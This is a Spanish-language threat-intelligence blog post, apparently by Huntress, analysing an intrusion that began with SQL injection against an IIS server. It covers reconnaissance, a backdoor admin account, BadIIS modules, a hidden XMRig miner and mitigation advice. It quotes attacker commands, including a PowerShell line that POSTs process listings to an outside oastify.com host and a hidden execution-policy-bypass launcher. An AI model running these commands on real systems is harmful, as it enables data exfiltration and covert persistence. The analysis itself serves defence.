Ventaja de jugar en casa: cómo los atacantes transforman los entornos de las víctimas

Agradecimientos: gracias especiales a Stephanie Fairless por sus contribuciones a esta investigación.

"La llamada viene de dentro de la casa".

Los equipos de defensa suelen priorizar evitar que los actores de amenazas entren, ya sea mediante la explotación de vulnerabilidades o instancias expuestas del protocolo de escritorio remoto (RDP). Pero igual de importante (si no más) es lo que sucede cuando un atacante ya logró entrar.

Mientras que algunos atacantes van directo al grano (exfiltran datos, cifran archivos o algo similar), muchos adoptan un enfoque más estratégico para moldear primero los entornos comprometidos según sus necesidades. Ajustan proactivamente elementos dentro del entorno para ocultar sus rastros o establecer persistencia. Eso podría verse como habilitar la cuenta Guest integrada de Windows. Podría ser ejecutar comandos de la CLI de Windows como tasklist /svc para detectar qué procesos podría estar ejecutando una víctima.

En Huntress, nuestro SOC se enfoca en estas medidas con precisión láser, porque suelen dar pistas sobre lo que ocurrió durante un incidente e incluso pueden revelar nuevas partes de un ataque que no se detectaron inicialmente. En esta publicación de blog, desglosaremos un incidente de junio en el que un actor de amenazas tomó medidas agresivas para modificar el entorno después de obtener acceso inicial, con la esperanza de arrojar luz sobre algunas de estas tácticas pasadas por alto.

Acceso inicial: las primeras detecciones de MSSQL

Durante un incidente reciente para una organización del sector tecnológico, los analistas de Huntress observaron que un actor de amenazas hizo más modificaciones al entorno comprometido de lo que suele observarse en incidentes de naturaleza similar.

El incidente del 26 de junio comenzó cuando el SOC de Huntress detectó y reportó actividad maliciosa a través de una instancia de Microsoft SQL Server (MSSQL) (sqlservr.exe). Al profundizar en la investigación, los analistas de Huntress descubrieron que el actor de amenazas no accedió directamente a la instancia de MSSQL, sino que logró localizar una página web (el servidor web IIS también estaba instalado en el endpoint) donde la entrada del usuario no se validaba correctamente. Como resultado, según esta evidencia, determinamos que el actor de amenazas pudo acceder al endpoint al explotar exitosamente una vulnerabilidad de inyección SQL.

Preparando el terreno: reconocimiento y persistencia

A través de esta vía, el actor de amenazas usó PowerShell codificado en base64 para descargar varios scripts, en los que profundizaremos más adelante en esta publicación de blog.

A continuación, el actor realizó algo de reconocimiento: ejecutó tasklist /svc para determinar qué procesos estaban en ejecución y disponibles en el endpoint. Este comando legítimo de Windows puede ayudar a los atacantes a identificar servicios potencialmente valiosos. Esto les permite planear sus próximos movimientos sobre qué atacar a continuación, o incluso entender qué servicios existen que podrían suplantar potencialmente con procesos maliciosos. En este caso, los actores de amenazas también usaron un comando de PowerShell para enviar la salida de tasklist /svc a 334thribetlhkyo977gqrcht1k7bvdj2[.]oastify[.]com, como se ve en el siguiente comando decodificado:

powershell -Command "Invoke-WebRequest -Uri 'http[:]//334thribetlhkyo977gqrcht1k7bvdj2[.]oastify[.]com' -Method Post -Body $(tasklist /svc | Out-String)"

El actor de amenazas luego llevó a cabo una serie de pasos para ayudar a establecer acceso persistente al entorno de la víctima. Habilitó Terminal Services (ahora renombrado a Remote Desktop Services) en el endpoint, luego creó una nueva cuenta de usuario llamada adminweb2$, agregando la cuenta al grupo local Administrators. Luego usó la nueva cuenta de usuario para autenticarse en el endpoint a través del recién habilitado Terminal Services. El actor de amenazas también intentó evadir herramientas de seguridad al deshabilitar Windows Defender, aunque curiosamente no hizo ningún intento de atacar otros servicios de seguridad instalados, como el monitoreo de EDR.

Haciendo malas llamadas (IIS)

El actor de amenazas usó appcmd.exe para instalar algunos de los módulos conocidos de BadIIS (HttpFastCgiModule.dll y HttpCgiModule.dll), como se muestra en la Figura 1.

Figura 1: El actor de amenazas instaló los módulos de BadIIS

Como describieron previamente los investigadores de Cisco Talos, BadIIS es una familia de módulos maliciosos para el servidor web Internet Information Services (IIS) de Microsoft, que se usan para lanzar fraude de SEO a gran escala mediante varias funciones (incluyendo redirección de tráfico, una función de proxy inverso, secuestro de contenido e inyección de enlaces internos). Estos módulos no son una herramienta estática única, sino que se han usado en múltiples campañas de amenazas durante el último año y medio.

Cubriendo todas las bases

Figura 2: Minero de criptomoneda

Como se ve en la Figura 2 anterior, el actor de amenazas también descargó el minero de criptomoneda XMRig (xmr-1.zip) al endpoint, antes de realizar varios movimientos más:

• El actor de amenazas también procedió a usar attrib.exe para establecer atributos en varios archivos asociados con el minero de criptomoneda como "system", "hidden", "archive" y "read-only". Esos dos archivos con características modificadas (edge.exe y Taskgmr.ps1) estaban ubicados en C:\Program Files (x86)\Microsoft\EdgeUpdate\. Al modificar estos atributos, el actor de amenazas buscaba ocultar mejor estos archivos.

• Luego crearon persistencia para el minero de criptomoneda usando nssm.exe, el "non-sucking service manager", una utilidad de acceso gratuito para crear un servicio resiliente de Windows a partir de un ejecutable independiente.

• Finalmente, el actor de amenazas agregó CnCrypt Protect, como se muestra en la Figura 3, probablemente para ayudar aún más en la evasión de defensas.

Figura 3: El actor de amenazas agregó CnCrypt Protect

La broma es para ti

A lo largo del ataque, el actor de amenazas descargó varios scripts de PowerShell y archivos por lotes.

Al inicio de la actividad detectada, vimos que el servidor SQL generaba cmd.exe para descargar un script de PowerShell qdcjoke1.2.ps1 al directorio de perfil de usuario compartido de la organización víctima (C:\users\public\). El script se descargó de pub-c4c8e8c336c3429d97195076bf3bb6eb.r2[.]dev y descargó varias cargas útiles adicionales (incluyendo c_joke1.2.ps1).

Después de crear la cuenta adminweb2$, observamos que el actor usó esa cuenta para lanzar el siguiente comando de PowerShell, que buscaba instalar silenciosamente archivos por lotes (incluyendo qd_tjoke.bat) todo sin ventanas visibles, solicitudes, banners ni restricciones de política de ejecución.

C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command Start-Process -FilePath 'C:\ProgramData\tjoke\qd_tjoke.bat' -WindowStyle Hidden

Que los actores de amenazas instalen troyanos, mineros u otro malware no es del todo inusual; los analistas de Huntress ven esto, así como intentos de otras actividades, todo el tiempo. Sin embargo, lo que destacó en este incidente fue la gran amplitud de modificaciones que el actor de amenazas hizo al endpoint.

Resumen y mitigaciones

Como propietarios y administradores de sistemas, a veces creemos que tenemos la "ventaja de jugar en casa" cuando se trata de defender nuestra infraestructura y datos. Sin embargo, sin un plan integral para asegurar y monitorear nuestros sistemas (como una hoja de ruta para la gestión de parches o sistemas de monitoreo de endpoints), los actores de amenazas pueden obtener acceso y establecer su propia "ventaja de jugar en casa" modificando los sistemas para satisfacer sus propias necesidades, a menudo yendo más allá de simplemente deshabilitar el software antivirus y dejar malware en los sistemas.

Los analistas de Huntress han observado a actores de amenazas llevar a cabo una amplia gama de acciones, entre ellas establecer acceso remoto persistente y crear nuevas cuentas de usuario, además de tomar medidas para reducir la visibilidad de la nueva cuenta de usuario. Incluso dada la variedad de acciones observadas en múltiples incidentes, lo que a menudo no se observa es que ocurra tal cantidad de modificaciones, todas en un solo endpoint. 

El incidente descrito en esta publicación de blog ilustra por qué es fundamental que, una vez detectado un incidente, se determine la causa raíz para poder identificar, abordar y cortar el acceso del actor de amenazas. Si el medio original de acceso, a través de una vulnerabilidad de inyección SQL dentro de una página web (entrada del usuario no validada), hubiera quedado sin control, incluso si se hubieran eliminado todos los rastros de la actividad del actor de amenazas, este podría regresar sin restricciones y potencialmente llevar a cabo acciones que tarden más en detectarse. 

Las recomendaciones de Huntress para establecer una postura de seguridad integral comienzan por establecer un inventario preciso de activos de sistemas físicos y virtuales, así como de aplicaciones y sus versiones. Una vez establecido este inventario, estos son algunos pasos adicionales a seguir:

• Iniciar un programa de reducción de la superficie de ataque

• Eliminar cualquier aplicación innecesaria o no autorizada

• Restringir el acceso según sea necesario solo a quienes estén autorizados, incluido el uso de MFA

• Asegurarte de que todas las aplicaciones activas estén actualizadas e incluidas en un plan general de monitoreo

• Cuando se descubra un incidente, asegúrate de realizar una investigación para determinar la causa raíz, y luego incorporar esos hallazgos a tu plan de seguridad de infraestructura